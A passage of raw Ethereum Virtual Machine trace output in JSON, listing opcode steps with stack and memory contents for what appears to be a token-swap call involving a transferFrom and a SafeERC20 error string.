1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12004,"op":"POP","gas":79064,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12005,"op":"PUSH1","gas":79062,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12007,"op":"DUP2","gas":79059,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12008,"op":"PUSH1","gas":79056,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12010,"op":"PUSH1","gas":79053,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12012,"op":"PUSH1","gas":79050,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12014,"op":"SHL","gas":79047,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12015,"op":"SUB","gas":79044,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12016,"op":"AND","gas":79041,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12017,"op":"DUP4","gas":79038,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12018,"op":"PUSH1","gas":79035,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12020,"op":"PUSH1","gas":79032,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12022,"op":"PUSH1","gas":79029,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000